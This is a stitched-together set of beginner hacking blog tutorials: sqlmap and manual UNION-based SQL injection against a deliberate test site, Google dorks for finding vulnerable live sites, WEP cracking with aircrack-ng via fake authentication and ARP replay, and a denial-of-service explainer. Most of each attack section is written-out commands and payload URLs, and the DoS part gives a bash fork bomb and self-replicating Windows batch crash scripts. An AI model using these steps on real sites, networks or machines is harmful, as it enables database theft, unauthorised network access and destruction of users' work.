Hacking Website with Sqlmap in Kali Linux

A screenshot from the SQLmap official website

In the previous tutorial, we hacked a website using nothing but a simple browser on a Windows machine. It was a pretty clumsy method to say the least. However, knowing the basics is necessary before we move on to the advanced tools. In this tutorial, we'll be using Kali Linux (see the top navigation bar to find how to install it if you haven't already) and SqlMap (which comes preinstalled in Kali) to automate what we manually did in the Manual SQL Injection tutorial to hack websites.




Now it is recommended that you go through the above tutorial once so that you can get an idea about how to find vulnerable sites. In this tutorial we'll skip the first few steps in which we find out whether a website is vulnerable or not, as we already know from the previous tutorial that this website is vulnerable.

Kali Linux

First off, you need to have Kali linux (or backtrack) up and running on your machine. Any other Linux distro might work, but you'll need to install Sqlmap on your own. Now if you don't have Kali Linux installed, you might want to go to this page, which will get you started on Beginner Hacking Using Kali Linux

Sqlmap

Basically its just a tool to make Sql Injection easier. Their official website  introduces the tool as -"sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections."

A lot of features can be found on the SqlMap website, the most important being - "Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems." That's basically all the database management systems. Most of the time you'll never come across anything other than MySql. 

Hacking Websites Using Sqlmap in Kali linux

Sql Version

Boot into your Kali linux machine. Start a terminal, and type -

sqlmap -h

It lists the basic commands that are supported by SqlMap. To start with, we'll execute a simple command
sqlmap -u <URL to inject>. In our case, it will be-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

Sometimes, using the --time-sec helps to speed up the process, especially when the server responses are slow.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15

Either ways, when sqlmap is done, it will tell you the Mysql version and some other useful information about the database.

The final result of the above command should be something like this.

Note: Depending on a lot of factors, sqlmap my sometimes ask you questions which have to be answered in yes/no. Typing y means yes and n means no. Here are a few typical questions you might come across-

• Some message saying that the database is probably Mysql, so should sqlmap skip all other tests and conduct mysql tests only. Your answer should be yes (y).
• Some message asking you whether or not to use the payloads for specific versions of Mysql. The answer depends on the situation. If you are unsure, then its usually better to say yes.

Enumeration

Database

In this step, we will obtain database name, column names and other useful data from the database.

List of  a few common enumeration commands

So first we will get the names of available databases. For this we will add --dbs to our previous command. The final result will look like -

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

 So the two databases are acuart and information schema.

Table

Now we are obviously interested in acuart database. Information schema can be thought of as a default table which is present on all your targets, and contains information about structure of databases, tables, etc., but not the kind of information we are looking for. It can, however, be useful on a number of occasions. So, now we will specify the database of interest using -D and tell sqlmap to enlist the tables using --tables command. The final sqlmap command will be-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

The result should be something like this -
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+
Now we have a list of tables. Following the same pattern, we will now get a list of columns.

Columns

Now we will specify the database using -D, the table using -T, and then request the columns using --columns. I hope you guys are starting to get the pattern by now. The most appealing table here is users. It might contain the username and passwords of registered users on the website (hackers always look for sensitive data).

The final command must be something like-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

The result would resemble this-

Data

Now, if you were following along attentively, now we will be getting data from one of the columns. While that hypothesis is not completely wrong, its time we go one step ahead. Now we will be getting data from multiple columns. As usual, we will specify the database with -D, table with -T, and column with -C. We will get all data from specified columns using --dump. We will enter multiple columns and separate them with commas. The final command will look like this.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump

 Here's the result

John Smith, of course. And the password is test. Email is email@email.com?? Okay, nothing great, but in the real world web pentesting, you can come across more sensitive data. Under such circumstances, the right thing to do is mail the admin of the website and tell him to fix the vulnerability ASAP. Don't get tempted to join the dark side. You don't look pretty behind the bars. That's it for this tutorial. Try to look at other columns and tables and see what you can dig up. Take a look at the previous tutorial on Manual SQl Injection which will help you find more interesting vulnerable sites.

Speeding Up WEP Hacking In Kali

Now if you have followed the basic WEP hacking tutorial, and have also read the basic troubleshooting guide, then you are ready to proceed to the stage where you follow an intermediate level hacking tutorial. In this tutorial, we will look at the intricate details of what is happening and approach the complicated methods and concepts.




To start with, I'll address a common question which was asked on my previous posts.

14 March 2014 19:28

i couldn't find any wlan when i write ifconfig in terminal

1. 
   
   
   
   
   Are you using Kali Linux on a virtual machine. Please note that a wireless adapter can only be used by only one machine at a time. Your host machine has access to the wireless adapter, not the virtual machine. This question has been discussed at length on superuser forums. The conclusion is that you can't directly connect internal wifi card using any Virtual machine software-
   "Unfortunately no virtualization software allows for direct access to hardware devices like that.
   
   Compare VirtualBox with VMware Fusion and Parallels for Mac. All 3 of those programs behave the same way. The only devices that can be directly accessed are usb devices. Everything else is abstracted though the virtualization engine. (Though you could argue that the vm has lower level access to cd rom's and storage devices).
   
   I wish I could give you a better answer, than simply to buy a usb wireless card."
   Basically you have to buy an external wireless card. They aren't very expensive. I personally use two of them myself. If you want to see what I use, take a look here, http://beginnnerhacking.blogspot.in/2014/02/creating-dummy-wifi-for-hacking.html

So basically you have 2 choices. First, you can buy a new external wireless adapter (no referral links here). Secondly, you can side install Kali with Windows or run it via a USB. A virtual machine can only use computer hardware if it is externally connected via USB. Now there is another catch here. The internal adapters, almost all of them, don't support injection. This is extremely important for speeding up wireless hacking. So if you really want to go in depth of wireless hacking, then its time to buy an external adapter or two (the more the better). If that's not a possibility, you might want to spend hours trying to get a driver which might make your internal adapter support injection (I don't know anyone who succeeded in this, but it might be possible).

Kali Linux

I don't know why it needs mention here, but still, if you don't have Kali Linux (or Backtrack) installed yet, you will have to install it before you can start this tutorial. Here is the tutorial on Kali Linux hacking.

Check Injection Support

Aircrack-ng has a comprehensive article related to checking injection support. You might check their website out for it. I am just providing the commands which will be enough to find out whether injection is working or not. 

airmon-ng start wlan0  [or wlan1]

(Puts your wireless adapter in monitor mode. From now we'll refer to wlan0/wlan1 as mon0

airserv-ng -d mon0

 aireplay-ng -9 127.0.0.1:666

This basically sets up a temporary server sort of thing that is waiting for you to test your injection capabilities. The second command actually tries to inject the server, and succeeds. 127.0.0.1 is the IP which is reserved for loopback. It is always used when you are carrying out some command on yourself. 666 is the port we are using. Most of the time, what follows an IP and a colon is the port. The general form is somewhat like IP:port. So finally you have checked your injection capabilities, and the last line - "Injection is working!" should bring a smile to your face. If not, you'll have to buy a card which supports injection, or see some forum posts which will help you figure something out.

Check Signal Strength

While the basic hacking methods from the previous post don't have any real strength restriction, you need to be physically close to the access point in order to inject packets. There is information regarding the same in the same aircrack-ng tutorial. Again, I'm gonna summarize what you have to do here.

First, we will use airodump-ng mon0 to see the list of networks in range. See the one you want to hack.

Airodump-ng lists the networks in range.

Now we will hack the digisol network. Make a note of the BSSID of the network you want to hack.  A good practice is to store all the information gathered in any text editor. We should, at this stage, take a note of following:-

• ESSID -  DIGISOL
• BSSID - 00:17:7C:22:CB:80
• CH (channel) - 2
• Mac address of genuine users connected to the network:
• Interface : wlan1 - referred to as mon0

You should gather the equivalent information for the network you will be working on. Then just change the values whenever I use them in any of the commands

Note : We need at least one user (wired or wireless) connected to the network and using it actively. The reason is that this tutorial depends on receiving at least one ARP request packet and if there are no active clients then there will never be any ARP request packets.

Now, to check whether the signal strength will be sufficient, we will simply execute the following code-

airodump-ng [interface] -c [channel]

airodump-ng mon0 -c 2

This will make the wireless card only read packets in the channel no. 2, on which our target network is.

Now to test the network, type the following code-

aireplay-ng --test -e DIGISOL -a 00:17:7C:22:CB:80 mon0 

 The last time we checked whether the wireless card had the capability to inject packets. We tested it on our own computer. This time, we actually injected packets into the target computer. If this worked, then it's pretty good news, and it means that you are most probably going to be able to hack this network. The last line 30/30 : 100% determines how good the strength of the signal is. A very high percentage is a good sign, and 100 is ideal.

Capture Packets

Now we have already run airodump-ng a couple of times. However, this time we will pass the -w command which will instruct airodump-ng to save the output to a file.

airodump-ng -c [channel] --bssid [bssid]-w [file_name] [interface]

airodump-ng -c 2 --bssid 00:17:7C:22:CB:80 -w dump mon0

 Now the output will be saved in a file  dump-01.cap
Now we can keep this terminal running and it will keep saving the packets.  [In the previous tutorial we did only 2 things, capture the packet, i.e this step, and crack it, i.e. the step we are going to do last. While it makes our work easier to just follow two steps, it also makes the process much more time consuming, since we are simply a passive packet listener, who is not doing anything]

Speeding Things Up

Fake Authentication

Now to speed things up, we will inject the network. We will thus obtain ARP packets. These packets will fill up the data column of our airodump-ng capture, and data is what will help us obtain the password. As soon as we have 10000 data packets, we can start attempting to get the password using aircrack-ng.

Now to make the AP pay attention to your injected packets, you either have to be a connected client, or have to pretend to be one. You can either mask your mac address to one of the already connected clients, or use the fake authentication feature. We will do the latter. (If you see an error like the AP is on channel x and mon0 is on channel y then go to the bottom of the post for troubleshooting)

aireplay-ng -1 0 -e DIGISOL -a  00:17:7C:22:CB:80 mon0

Authenticated and capturing packets

 ARP request replay mode

ARP packets are your best bet at getting a lot of IVs or data. Without IVs you can't hack a network. Enter the following code to make aireplay-ng listen to the AP for ARP packets, and inject them as soon as they find one. This will create a lot of data very fast. This is the real speeding step. 

aireplay-ng -3 -b [BSSID] mon0

This is what the final code will look like-

aireplay-ng -3 -b  00:17:7C:22:CB:80 mon0

This is what it'll look like in the beginning

 Now you'll have to wait for some time till it gets an ARP request. As soon as it gets one, the terminal will sort of explode. And the data packets will start filling in with Godspeed. Now this is the part where an active user on the network is absolutely necessary.

Slow start

Everything got fine after some time

After some time I had enough packets to crack almost any network

The data filled in VERY fast

The video shows how fast the IVs flowed in after ARP injection started.

Cracking the network

Cracking the network is as easy as typing the following into the console

aircrack-ng name_of_file-01.cap

In our case, the command will be

aircrack-ng dump-01.cap

 After pressing enter, you will have a list of networks and you'll be prompted to select which one of them to hack. In my case there was just one network, so I couldn't get that screen, or a screenshot. The password was cracked in less than a second.

I have blurred out the password and some random stuff.

So finally you have obtained the password of the network you were trying to hack.

Troubleshooting

A person commented on another wireless hacking post. This is the problem he faced.

whenever i try to use aireplay-ng, with the options, always fail saying that mon0 is in channel -1 and the target is in other channel. How can i fixed this? i looked a lot for a real answer but nobody know what is this.

This is a possible solution

Okay, try the following-
1) When you start the monitor mode, specify the channel - 
usage: airmon-ng [channel or frequency]
Your code : airmon-ng start wlan0 6
Substitute 6 with the required channel.
2) While starting airodump, specify the channel
airodump-ng mon0 -c 6

I was facing this problem when my mon0 kept hopping from one channel to the other, and the second step alone solved my problem. If your airmon-ng assigns itself a fixed channel on its own will, without you even specifying it, then the problem might be more complicated. If the above steps don't solve the problem, take a look here - http://ubuntuforums.org/showthread.php?t=1598930

Hacking Websites Using SQL Injection Manually

Sql Injection - Hacking Websites

In this post we will hack a website and obtain its data using SQL injection attack. We will not use any tools. This is one of the few tuts on this blog for which you don't need Kali Linux. You can easily carry it out from Windows machine on any normal browser. If you need to get a big picture of what a SQL injection attack actually does, take a look at this tutorial on Basics Of SQL Injection.

SQL Injection

Finding A Vulnerable Website

The first step is obviously finding a vulnerable website. There are a lot of ways to do so. the most common method of searching is by using dorks.

Dorks

Dorks are an input query into a search engine (Google) which attempt to find websites with the given text provided in the dork itself. Basically it helps you to find websites with a specific code in their url which you know is a sign of vulnerability.

A more specific definition could be "Advanced Google searches used to find security loopholes on websites and allow hackers to break in to or disrupt the site." (from 1337mir)

Using Dorks

Now basically what a dork does is uses Google's "inurl" command to return websites which have a specific set of vulnerable words in url. For that, we need to know which words in the url make a website potentially vulnerable to a SQL injection attack. Many websites offer a comprehensive list of google dorks. For example, the l33tmir website has a list of hundreds of google dorks. However, creativity is your best tool when it comes to finding vulnerable sites, and after practicing with some google dorks, you will be able to create your own. A few dorks have been listed below. What you have to do is paste them into the google search bar and google will return potentially vulnerable sites. NOTE: Don't mind the root@kali:~# behind the code. I have implemented this on all the code on my blog, and the majority of it is really on Kali Linux so it makes sense there but not here.

inurl:"products.php?prodID="

inurl:buy.php?category=

What you have to notice here is the structure of the commands. The inurl instructs google to look at the URLs in it's search index and provide us with the ones which have a specific line in them. Inside the inverted commas is the specific URL which we would expect to see in a vulnerable website. All the vulnerable sites will surely have a .php in their URL, since it is an indicator that this website uses SQL database here. After the question mark you will have a ?something= clause. What lies after the = will be our code that is known to cause malfunctioning of databases and carrying out of a Sql Injection attack.
After you have used the dork, you have a list of potentially vulnerable sites. Most of them though, may not be vulnerable (i.e not the way you want them to be, they might still be having some vulnerabilities you don't know about yet). The second step is finding the actually vulnerable sites from a list of possible ones.

Testing sites for vulnerabilities

Now lets assume we used the first dork, i.e. products.php?prodID=. We then came across a site www.site.com/products.php?prodID=25.  Now we have to check if that website is vulnerable or not. This is pretty simple. All you have to do is insert an asterisk ' at the end of the url instead of 25. The url would look somewhat like this www.site.com/products.php?prodID='

If you are lucky, then the site would be vulnerable. If it is, then there would a some kind of error showing up, which would have the words like "Not found","Table","Database","Row","Column","Sql","MysqL" or anything related to a database. In some cases, there would be no error, but there would be some berserk/ unexpected behavior on the page, like a few components not showing up properly, etc.

A typical error message

But right now you only know that the site is vulnerable. You still have to find which colums/rows are vulnerable.

Finding number of columns/rows

Now we need to find the number of columns in the table. For this, we will use trial and error method, and keep executing statements incrementing the number of columns till we get an error message.

www.site.com/products.php?prodID=25+order+by+1

Effectively, we added order by 1 to the end of the original url. If there is atleast one column in the table, then the page will continue to work all right. If not, then an error will be displayed. You can keep increasing the number of columns till you get an error. Lets assume you get an error for

www.site.com/products.php?prodID=25+order+by+6

This means that the page had 5 columns, and the database couldn't handle the query when you asked for the 6th one. So now you know two things

• The site is vulnerable to SQL injection
• It has 5 columns

Now you need to know which of the columns is vulnerable

Finding Vulnerable columns

Now lets assume we are working on our hypothetical site www.site.com which has 5 columns. We now need to find out which of those columns are vulnerable. Vulnerable columns allow us to submit commands and queries to the SQL database through the URL. We now need to find which of the columns is vulnerable. To do this, enter the following into the url

www.site.com/products.php?prodID=25+union+select+1,2,3,4,5

In some cases you might need to put a - behind the 25. The page will now load properly, except for a number showing up somewhere. This is the vulnerable column. Note it down.

Let's say the page refreshes and displays a 2 on the page, thus 2 being the vulnerable column for us to inject into.

Now we know which column is vulnerable. Next part is obtaining the SQL version, since the remaining tutorial will vary depending on which version of SQL is being used. 

Unification

From here on, the things will get tough if you are not able to follow what I'm doing. So, we will unify under a single website. This website is intentionally vulnerable to SQL injection, and will prove highly useful since we will be doing the same thing. The purpose of introducing this site at a later stage was to give you an idea how to find vulnerable sites yourself and also find the vulnerable columns. This is what will prove useful in real life. However, to make what follows comparatively easier, we all will now hack the same website. The website is

http://testphp.vulnweb.com/

The actual vulnerability is here

http://testphp.vulnweb.com/listproducts.php?cat=1

Notice that the URL has the structure that you now know well. If used properly, a google dork could have led us to this site as well. Now we will replace the 1 with an asterisk '

This is what you vulnerable page looks like to start with

As you can guess, it is vulnerable to SQL injection attack

Now we need to find the number of columns.

10 columns. Nothing so far.

12 columns. Error....

So if there was an error on 12th columns. This means there were 11 columns total. So to find the vulnerable column, we have to execute -

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11

This does not return any error. As I said before, adding a minus sign (-) after = and before 1 will help.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11 

Now we can see total four numbers on the page. 11,7,2 and 9. It won't be hard to figure out which of them depicts the vulnerable column

You can take a look at the page http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11 (no minus sign that is). Now scroll down to the bottom. You will see this-

Comparing the pic with and without the error, we can easily say that the unexpected element in the malfunctioned page is the number 11. We can conclude that 11th column is the vulnerable one. These kind of deductions make hacking very interesting and remind you it's more about logic and creativity than it's about learning up useless code.
Now we are finally where we left out before we changed our stream. We need to find the sql version. It can sometimes be very tricky. But lets hope its not in this case.
Now get the code that told you about the vulnerable column and replace the vulnerable column (i.e. 11) with @@version. The url will look like this.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

Now finally you'll see something like

The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we know the OS is Ubuntu.
And the thing I said about it being tricky sometimes. Sometimes the server does not understand the @@version command directly and you need to convert it. You will need to replace @@version with convert(@@version using latin1) or unhex(hex(@@version)).
Now the information gathering part is complete. We have to move to actual download of tables. Just write down all you know about their database, table and server. You must have a real sense of accomplishment if you have followed the tutorial so far. The boring part always requires maximum motivation and determination.

Extracting tables from SQL database

Now the method to extract data is different depending on the version . Luckily its easier for version 5, and that's what you'll come across most of the time, as is the case this time. All the data regarding the structure of the table is present in the information schema. This is what we're gonna look at first.

In our query which we used to find vulnerable columns (i.e. testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11), we will replace the vulnerable column with table_name and add prefix +from+information_schema.tables. The final url will be

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

 As you can see, the name of the table is character_sets. However, this is just one table. We can replace the table_name with group_concat(table_name) to get all tables

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

 We now have the names of all the tables. Here it is - CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVIL
As you see, the ending of the last table is incomplete. To correct this, you can modify the end of the url to something like +from+information_schema.tables+where+table_schema=database()

Obtaining columns

It is similar to obtaining tables, other than the fact that we will use informaiton_schema.columns instead of informaiton_schema.tables, and get multiple columns instead of just one using the same group concat. We will also have to specify which table to use in hex. We will use the table events (I've highlighted it above too). In hex it's code is 4556454e5453 (You can use text to hex convertor - also prefix 0x behind the code before entering it). The final code will be-

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453

We now know the columns of the table events

Extracting data from columns

We will follow the same pattern as we did so far. We had replaced the vulnerable column (i.e. 11) with table_name first, and then column_name. Now we will replace it with the column we want to obtain data from. Lets assume we want the data from the first column in the above pic, ie. event_catalog. We will put the fol. URL-

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS 

The page didn't display properly, this means that the our query was fine. The lack of any data is due to the fact that the table was actually empty. We have to work with some other table now. Don't let this failure demotivate you. 

However, our luck has finally betrayed us, and all this time we have been wasting our time on an empty table. So we'll have to look at some other table now, and then look at what columns does the table have. So, I looked at the first table in the list, CHARACTER_SETS and the first column CHARACTER_SET_NAME. Now finally we have the final code as-

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS

This table has a lot of data, and we have all the character_sets name.

So finally now you have data from CHARACTER_SET_NAME column from CHARACTER_SETS table . In a similar manner you can go through other tables and columns. It will be definitely more interesting to look through a table whose name sounds like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'.  I would show you how to organize results in a slightly better way and display multiple columns at once. This query will return you the data from 4 columns, seperated by a colon (:) whose hex code is 0x3a.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

Finally you have successfully conducted an sql injection attack in the hardest possible way without using any tools at all. We will soon be discussing some tools which make the whole process a whole lot easier. However, it is pointless to use tools if you don't know what they actually do.
Alright, the tutorial on automated Sql injection is finally here. Take a look

Sql Injection Using sqlmap in kali linux

SQL Injection : How It Works

Introduction

Lets get started at an apparently unrelated point. Lets assume we create a table in SQL. Now there are three main parts of a database management system, like SQL. They are -

• Creating structure of table
• Entering data
• Making queries (and getting meaningful results from data)

Now, when SQL is used to display data on a web page, it is common to let web users input their own queries. For example, if you go to a shopping website to buy a smartphone, you might want to specify what kind of smartphone you want. The site would probably be storing data about phones in table with columns like Name, Price, Company, Screen Size, OS, etc.

Now they allow you to create a query using some sort of user friendly drop down based form which lets you select your budget, preferred company, etc. So basically, you, the user, can create queries and request data from their SQL servers. 

Now this automated method of creating queries for you is relatively safe, there is another method of creating queries which can be exploited by us. A url ending in .php is a direct indication that the website/blog uses sql to deliver a lot of it's data, and that you can execute queries directly by changing the url. Now basically the data in the SQL tables is protected. However, when we send some rogue commands to the SQL server, it doesn't understand what to do, and returns an error. This is a clear indication that with proper coding, we can send queries that will make the database 'go berserk' and malfunction, and give us all the otherwise private data of its tables. This attack can be used to obtain confidential data like a list of username and passwords of all users on a website.

Steps

1. We have to find a website which is vulnerable to SQL injection (SQLi) attacks. Vulnerability has 2 criteria. Firstly, it has to allow execution of queries from the url, and secondly, it should show an error for some kind of query or the other. An error is an indication of a SQL vulnerability.
2. After we know that a site is vulnerable, we need to execute a few queries to know what all makes it act in an unexpected manner. Then we should obtain information about SQL version and the number of tables in database and columns in the tables.
3. Finally we have to extract the information from the tables.

Vulnerabilities are found using your own creativity along with famous dorks (more on this in a later tutorial)

For the 2nd and 3rd step, there are 2 ways to do them-

• Manually using some standard codes available online (and if you know SQL then you can figure most of the stuff out yourself). For example, you can instruct the database to give you all the data from a table by executing the command- 

SELECT * FROM Users WHERE UserId = 105 or 1=1

Now, while the first part of the query "UserID=105" may not be true for all user, the condition 1=1 will always be true. So basically the query will be prompted to  return all the data about the user for all the users for whom 1=1. Effectively, you have the username and passwords and all other information about all the users of the website.

The first command is legit and gives you access to data of srinivas only, and only in the condition where the password is correct. The second statement gives you access to data of all accounts.

• Using some tool - Some tools help in making the process easier. You still have to use commands but using tools is much more practical after you have an idea what is actually happening. I don't recommend all the GUI Windows tools which are found on malware filled websites, and never work. All throughout this blog we have used Kali Linux, and if you really are serious about hacking, there is no reason not to have Kali linux installed. In Kali linux, there is a great tool called SQLMap that we'll be using.

That's it for this tutorial, you now know how SQL Injections work. It might be worth your time learning some SQL on W3schools till I come up with some other tutorial. Also, check out the navigation bar at the top of the blog to see if you find something that interests you. We have a lot of tutorials for beginners in the field of hacking.
If you would like to go ahead, then here is the next tutorial in the SQL injection series-

Hacking Websites Using SQL Injection Manually

Also, a tutorial on automated Sql injection is finally here. Take a look

Sql Injection Using sqlmap in kali linux

Denial Of Service Attacks : Explained for Beginners and Dummies

Just like most other things associated with hacking, a denial of service attack is not everyone's cup of tea. It, however, can be understood if explained properly. In this tutorial, I'll try to give you a big picture of denial of service attacks, before I start using geeky terms like packets and all that. We'll start at the easiest point.

What effect does a denial of service attack have

Wireless hacking usually gives you the password of a wireless network. A man in the middle attack lets you spy on network traffic. Exploiting a vulnerability and sending a payload gives you access and control over the target machine. What exactly does a Denial of Service (DOS) attack do? Basically, it robs the legitimate owner of a resource from the right to use it. I mean if I successfully perform a DOS on your machine, you won't be able to use it anymore. In the modern scenario, it is used to disrupt online services. Many hacktivist groups (internet activists who use hacking as a form of active resistance - a name worth mentioning here is Anonymous) do a Distributed Denial of service attack on government and private websites to make them listen to the people's opinion (the legitimacy of this method of dictating your opinion has been a topic of debate, and a lot of hactivists had to suffer jailtime for participating in DDOS). So basically it's just what its name suggests, Denial Of Service.

Basic Concept

It uses the fact that while a service can be more than sufficient to cater to the demands of the desired users, a drastic increase in unwelcome users can make the service go down. Most of us use the words like "This website was down the other day" without any idea what it actually means. Well now you do. To give you a good idea of what is happening, I'll take the example from the movie "We Are Legion".

Scenario One : Multiplayer online game

Now consider you are playing an online multi-player game. There are millions of other people who also play this game. Now there's a pool in the game that everyone likes to visit. Now you and your friends know that they have the power of numbers. There are a lot of you, and together you decide to make identical characters in the game. And then all of you go and block the access to the pool. You just carried out a denial of service attack. The users of the game have now been deprived of a service which they had obtained the right to use when they signed up for the game. This is just what the guys at 4chan (birthplace and residence of Anonymous) did a long time ago. This is the kind of thing that gives you a very basic idea what a denial of service attack can be.

They made a Swastika and blocked access to the pool

Scenario 2 : Bus stop

Now assume that due to some reason, you want to disrupt the bus service of your city and stop the people from using the service. To stop the legitimate people from utilizing this service, you can call your friends to unnecessarily use it. Basically you can invite millions of friends to come and crowd around all the bus stops and take the buses without any purpose. Practically it is not feasible since you don't have millions of friends, and they are definitely not wasting their time and money riding aimlessly from one place to another.

So while this may seem impossible in the real world, in the virtual world, you can cause as much load as a thousand (or even a million) users alone at the click of a button. There are many tools out there for this purpose, however, you are not recommended to use them as a DOS on someone else is illegal, and easy to detect (Knock, knock. It's the police). We will, come back to this later, and do a DOS on our own computer.

How denial of service attacks are carried out

Basically, when you visit a website, you send them a request to deliver their content to you. What you send is a packet. Basically, it take more than just one packet, you need a lot of them. But still, the bandwidth that you consume in requesting the server to send you some data is very little. In return, the data they send you is huge. This takes up server resources, for which they pay for. A legitimate view can easily earn more than the server costs on account of advertisements, etc. So, companies buy server that can provide enough data transfer for its regular users. However, if the number of users suddenly increases, the server gives up. It goes down. And since the company knows it under DOS, it just turns off the server, so that it does not have to waste its monetary resources on a DOS, and wait till the DOS stops. Now with the modern computers and bandwidth, we alone can easily pretend to be a thousand or even more users at once. While this is not good for the server, it is not something that can make it succumb (your computer is not the only thing that gets better with time, the servers do too). However, if a lot of people like you do a DOS attack, it becomes a distributed denial of service attack. This can easily be fatal for a server. It's just like you go to a page, and start refreshing it very fast, maybe a thousand times every second. And you are not the only one. There are thousand others that are doing the same thing. So basically you guys are equivalent to more than a million users using the site simultaneously, and that's not something the server can take. Sites like Google and Facebook have stronger servers, and algorithms that can easily identify a DOS and block the traffic from that IP. But it's not just the websites that get better, and the black hat hackers too are improving every day. This leaves a huge scope for understanding DOS attacks and becoming an asset to one of these sides ( the good, the bad and the ugly). 

A Live DOS on your Kali Machine

If you have Kali linux (The hackers OS- the OS of choice if you use this blog) the here's a small exercise for you. 

We are going to execute a command in the Kali linux terminal that will cripple the operating system and make it hand. It will most probably work on other linux distributions too.

Warning : This code will freeze Kali linux, and most probably it will not recover from the shock. You'll lose any unsaved data. You will have to restart the machine the hard way (turn of the virtual machine directly or cut the power supply if its a real machine). Just copy paste the code and your computer is gone.

:(){ :|:& };:

The machine froze right after I pressed enter. I had to power it off from the Vmware interface.

What basically happened is that the one line command asked the operating system to keep opening process very fast for an infinite period of time. It just gave up.

Here's something for the Windows Users

Crashing Windows Using Batch file

Open a notepad. Put the following code in it-

:1
Start
goto 1

Save the file as name.bat

Bat here is batch file extension. Run it. Game over.

It basically executes the second line, and the third line makes it go over to the first, execute the second, and then over to first again, execute the second..... infinitely. So again, denial of service. All the processing power is used by a useless command, while you, the legitimate user, can't do anything.

That's it for this tutorial, we'll discuss the technical details of a practical denial of service in a later tutorial.

PS:
As suggested in the comments, this script will crash windows much faster-

:1
bash name.bat
goto 1

If you look at the script carefully, it is quite easy to understand what it does. Everytime the script is executed, it does two things-

1. Opens another instance of the same script
2. Goes to the beginning of the script

So for every execution, the number of scripts slowing down your computer doubles up. This means that instead of linear, the load on memory and processor is now exponential (the script gets more and more dangerous with time).